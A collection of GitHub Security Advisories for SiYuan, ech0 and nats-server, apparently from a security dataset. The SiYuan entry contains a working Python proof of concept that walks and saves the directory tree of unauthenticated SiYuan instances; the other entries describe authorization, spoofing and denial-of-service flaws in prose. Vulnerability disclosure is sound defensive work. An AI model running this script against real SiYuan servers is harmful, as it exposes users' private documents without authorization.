deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-xmw9-6r43-x9ww
Package: github.com/siyuan-note/siyuan/kernel (GO)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 0.0.0[PII_REDACTED]2524-fe4523fff2c8
Patched in: unpatched

Summary: SiYuan has directory traversal within its publishing service

Details:
### Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

### PoC

```python
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys

def poc(target):
    base = target.rstrip("/")
    url = f"{base}/api/file/readDir"

    def read_dir(path, depth=0, max_depth=4):
        try:
            r = requests.post(url, json={"path":path},
                            headers={"Content-Type":"application/json"}, timeout=10)
            data = r.json()
        except Exception as e:
            return
        if data.get("code") != 0:
            return

        entries = data.get("data") or []
        for entry in entries:
            name = entry.get("name","")
            if name.startswith("."):
                continue
            icon = "📁" if entry.get("isDir") else "📄"
            indent = "  " * depth
            print(f"  {indent}{icon} {name}")

            if entry.get("isDir") and depth < max_depth:
                read_dir(f"{path}/{name}", depth+1, max_depth)

    # 遍历根目录
    print("[+] 漏洞存在！开始遍历\n")
    print("  📂 data/")
    read_dir("data", max_depth=2)

    print("\n  📂 conf/")
    read_dir("conf", max_depth=2)

    # 保存
    try:
        r = requests.post(url, json={"path":"data"},
                        headers={"Content-Type":"application/json"}, timeout=10)
        with open("readdir.json","w",encoding="utf-8") as f:
            json.dump(r.json(), f, ensure_ascii=False, indent=2)
        print(f"\n[+] 根目录数据已保存: readdir.json")
    except: pass

if __name__ == "__main__":
    poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")
```

### Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />

插件文件夹

<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />

conf文件夹

<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />
GitHub Security Advisory: GHSA-m983-7426-5hrj
Package: github.com/lin-snow/ech0 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-862: Missing Authorization
Vulnerable versions: < 1.4.8-0[PII_REDACTED]1226-acbf1fd71011
Patched in: 1.4.8-0[PII_REDACTED]1226-acbf1fd71011

Summary: Ech0  authenticated user-list exposed data via public `/api/allusers` endpoint  

Details:
### Summary
A public access-control flaw allows unauthenticated users to retrieve the full user list from `GET /api/allusers`. This exposes user profile metadata to anyone who can reach the application and enables remote user enumeration.

### Details
The vulnerable route is registered as a public endpoint:

- `internal/router/user.go:17`
  - `appRouterGroup.PublicRouterGroup.GET("/allusers", h.UserHandler.GetAllUsers())`

However, the handler appears to have been intended as an authenticated endpoint:

- `internal/handler/user/user.go:177-185`
  - API annotations indicate an authentication requirement via `@Security ApiKeyAuth`

This creates a mismatch between the documented security model and the actual routing configuration. As a result, requests to `GET /api/allusers` succeed without authentication and return user records, including profile metadata such as usernames, email addresses, role-related flags, avatar values, and locale information.

A negative control against another endpoint that correctly requires authentication further supports that this exposure is unintended: `GET /api/user` returns `401 Unauthorized` when no token is supplied, while `GET /api/allusers` remains publicly accessible.

### Impact
- **Type:** Access control bypass / unauthenticated data exposure
- **Who is impacted:** Any deployment exposing the API to untrusted networks, and all users whose profile metadata is returned by the endpoint
- **Security impact:** Enables remote user enumeration and disclosure of user profile metadata, which may facilitate account reconnaissance, phishing, and targeted credential attacks
- **Attack preconditions:** None beyond network access to the affected API endpoint
GitHub Security Advisory: GHSA-3f24-pcvm-5jqc
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 4.2)
CWE: CWE-287: Improper Authentication, CWE-295: Improper Certificate Validation
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS has mTLS verify_and_map authentication bypass via incorrect Subject DN matching

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

One authentication model supported is mTLS, deriving the NATS client identity from properties of the TLS Client Certificate.

### Problem Description

When using mTLS for client identity, with `verify_and_map` to derive a NATS identity from the client certificate's Subject DN, certain patterns of RDN would not be correctly enforced, allowing for authentication bypass.

This does require a valid certificate from a CA already trusted for client certificates, and `DN` naming patterns which the NATS maintainers consider highly unlikely.

So this is an unlikely attack. Nonetheless, administrators who have been very sophisticated in their `DN` construction patterns might conceivably be impacted.

### Affected Versions

Fixed in nats-server 2.12.6 & 2.11.15

### Workarounds

Developers should review their CA issuing practices.
GitHub Security Advisory: GHSA-3f24-pcvm-5jqc
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 4.2)
CWE: CWE-287: Improper Authentication, CWE-295: Improper Certificate Validation
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS has mTLS verify_and_map authentication bypass via incorrect Subject DN matching

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

One authentication model supported is mTLS, deriving the NATS client identity from properties of the TLS Client Certificate.

### Problem Description

When using mTLS for client identity, with `verify_and_map` to derive a NATS identity from the client certificate's Subject DN, certain patterns of RDN would not be correctly enforced, allowing for authentication bypass.

This does require a valid certificate from a CA already trusted for client certificates, and `DN` naming patterns which the NATS maintainers consider highly unlikely.

So this is an unlikely attack. Nonetheless, administrators who have been very sophisticated in their `DN` construction patterns might conceivably be impacted.

### Affected Versions

Fixed in nats-server 2.12.6 & 2.11.15

### Workarounds

Developers should review their CA issuing practices.
GitHub Security Advisory: GHSA-55h8-8g96-x4hj
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-287: Improper Authentication, CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS: Leafnode connections allow spoofing of Nats-Request-Info identity headers

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.  NATS messages can have headers.

### Problem Description

The nats-server offers a `Nats-Request-Info:` message header, providing information about a request.  This is supposed to provide enough information to allow for account/user identification, such that NATS clients could make their own decisions on how to trust a message, provided that they trust the nats-server as a broker.

A leafnode connecting to a nats-server is not fully trusted unless the system account is bridged too.  Thus identity claims should not have propagated unchecked.

Thus NATS clients relying upon the Nats-Request-Info: header could be spoofed.

Does not directly affect the nats-server itself, but the CVSS Confidentiality and Integrity scores are based upon what a hypothetical client might choose to do with this NATS header.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.
GitHub Security Advisory: GHSA-55h8-8g96-x4hj
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-287: Improper Authentication, CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS: Leafnode connections allow spoofing of Nats-Request-Info identity headers

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.  NATS messages can have headers.

### Problem Description

The nats-server offers a `Nats-Request-Info:` message header, providing information about a request.  This is supposed to provide enough information to allow for account/user identification, such that NATS clients could make their own decisions on how to trust a message, provided that they trust the nats-server as a broker.

A leafnode connecting to a nats-server is not fully trusted unless the system account is bridged too.  Thus identity claims should not have propagated unchecked.

Thus NATS clients relying upon the Nats-Request-Info: header could be spoofed.

Does not directly affect the nats-server itself, but the CVSS Confidentiality and Integrity scores are based upon what a hypothetical client might choose to do with this NATS header.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.
GitHub Security Advisory: GHSA-pwx7-fx9r-hr4h
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS Server: Incomplete Stripping of Nats-Request-Info Header Allows Identity Spoofing

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a `Nats-Request-Info:` message header, providing information about a request.

### Problem Description

The NATS message header `Nats-Request-Info:` is supposed to be a guarantee of identity by the NATS server, but the stripping of this header from inbound messages was not fully effective.

An attacker with valid credentials for any regular client interface could thus spoof their identity to services which rely upon this header.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.
GitHub Security Advisory: GHSA-pwx7-fx9r-hr4h
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 6.4)
CWE: CWE-290: Authentication Bypass by Spoofing
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS Server: Incomplete Stripping of Nats-Request-Info Header Allows Identity Spoofing

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a `Nats-Request-Info:` message header, providing information about a request.

### Problem Description

The NATS message header `Nats-Request-Info:` is supposed to be a guarantee of identity by the NATS server, but the stripping of this header from inbound messages was not fully effective.

An attacker with valid credentials for any regular client interface could thus spoof their identity to services which rely upon this header.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.
GitHub Security Advisory: GHSA-9983-vrx2-fg9c
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-285: Improper Authorization
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS JetStream has an authorization bypass through its Management API

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The persistent storage feature, JetStream, has a management API which has many features, amongst which are backup and restore.

### Problem Description

Users with JetStream admin API access to restore one stream could restore to other stream names, impacting data which should have been protected against them.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

If developers have configured users to have limited JetStream restore permissions, temporarily remove those permissions.
GitHub Security Advisory: GHSA-9983-vrx2-fg9c
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 4.9)
CWE: CWE-285: Improper Authorization
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS JetStream has an authorization bypass through its Management API

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The persistent storage feature, JetStream, has a management API which has many features, amongst which are backup and restore.

### Problem Description

Users with JetStream admin API access to restore one stream could restore to other stream names, impacting data which should have been protected against them.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

If developers have configured users to have limited JetStream restore permissions, temporarily remove those permissions.
GitHub Security Advisory: GHSA-8r68-gvr4-jh7j
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS  is vulnerable to pre-auth DoS through WebSockets client service

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a WebSockets client service, used in deployments where browsers are the NATS clients.

### Problem Description

A malicious client which can connect to the WebSockets port can cause unbounded memory use in the nats-server before authentication; this requires sending a corresponding amount of data.

This is a milder variant of [NATS-advisory-ID 2026-02](https://advisories.nats.io/CVE/secnote-2026-02.txt) (aka CVE-2026-27571; GHSA-qrvq-68c2-7grw).
That earlier issue was a compression bomb, this vulnerability is not. Attacks against this new issue thus require significant client bandwidth.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

Disable websockets if not required for project deployment.
GitHub Security Advisory: GHSA-8r68-gvr4-jh7j
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS  is vulnerable to pre-auth DoS through WebSockets client service

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server offers a WebSockets client service, used in deployments where browsers are the NATS clients.

### Problem Description

A malicious client which can connect to the WebSockets port can cause unbounded memory use in the nats-server before authentication; this requires sending a corresponding amount of data.

This is a milder variant of [NATS-advisory-ID 2026-02](https://advisories.nats.io/CVE/secnote-2026-02.txt) (aka CVE-2026-27571; GHSA-qrvq-68c2-7grw).
That earlier issue was a compression bomb, this vulnerability is not. Attacks against this new issue thus require significant client bandwidth.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

Disable websockets if not required for project deployment.
GitHub Security Advisory: GHSA-vprv-35vv-q339
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS has pre-auth server panic via leafnode handling

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.

### Problem Description

A client which can connect to the leafnode port can crash the nats-server with a certain malformed message pre-authentication.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

1. Disable leafnode support if not needed.
2. Restrict network connections to your leafnode port, if plausible without compromising the service offered.

### References

 * This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-10.txt>
 * GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-vprv-35vv-q339>
 * MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33218>
GitHub Security Advisory: GHSA-vprv-35vv-q339
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS has pre-auth server panic via leafnode handling

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server allows hub/spoke topologies using "leafnode" connections by other nats-servers.

### Problem Description

A client which can connect to the leafnode port can crash the nats-server with a certain malformed message pre-authentication.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

1. Disable leafnode support if not needed.
2. Restrict network connections to your leafnode port, if plausible without compromising the service offered.

### References

 * This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-10.txt>
 * GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-vprv-35vv-q339>
 * MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33218>
GitHub Security Advisory: GHSA-jxxm-27vp-c3m5
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: HIGH (CVSS 7.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS allows MQTT clients to bypass ACL checks

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

### Problem Description

When using ACLs on message subjects, these ACLs were not applied in the `$MQTT.>` namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.
GitHub Security Advisory: GHSA-jxxm-27vp-c3m5
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: HIGH (CVSS 7.1)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS allows MQTT clients to bypass ACL checks

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

### Problem Description

When using ACLs on message subjects, these ACLs were not applied in the `$MQTT.>` namespace, allowing MQTT clients to bypass ACL checks for MQTT subjects.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.
GitHub Security Advisory: GHSA-v722-jcv5-w7mc
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: HIGH (CVSS 8.6)
CWE: CWE-256: Plaintext Storage of a Password
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS has MQTT plaintext password disclosure

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

### Problem Description

For MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

Ensure monitoring end-points are adequately secured.

Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users.
GitHub Security Advisory: GHSA-v722-jcv5-w7mc
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: HIGH (CVSS 8.6)
CWE: CWE-256: Plaintext Storage of a Password
Vulnerable versions: < 2.11.15
Patched in: 2.11.15

Summary: NATS has MQTT plaintext password disclosure

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

### Problem Description

For MQTT deployments using usercodes/passwords: MQTT passwords are incorrectly classified as a non-authenticating identity statement (JWT) and exposed via monitoring endpoints.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

Ensure monitoring end-points are adequately secured.

Best practice remains to not expose the monitoring endpoint to the Internet or other untrusted network users.
GitHub Security Advisory: GHSA-fcjp-h8cc-6879
Package: github.com/nats-io/nats-server/v2 (GO)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-287: Improper Authentication
Vulnerable versions: >= 2.12.0-RC.1, < 2.12.6
Patched in: 2.12.6

Summary: NATS is vulnerable to MQTT hijacking via Client ID

Details:
### Background

NATS.io is a high performance open source pub-sub distributed communication technology, built for the cloud, on-premise, IoT, and edge computing.

The nats-server provides an MQTT client interface.

### Problem Description

Sessions and Messages can by hijacked via MQTT Client ID malfeasance.

### Affected Versions

Any version before v2.12.6 or v2.11.15

### Workarounds

None.

### Resources

 * This document is canonically: <https://advisories.nats.io/CVE/secnote-2026-06.txt>
 * GHSA advisory: <https://github.com/nats-io/nats-server/security/advisories/GHSA-fcjp-h8cc-6879>
 * MITRE CVE entry: <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33215>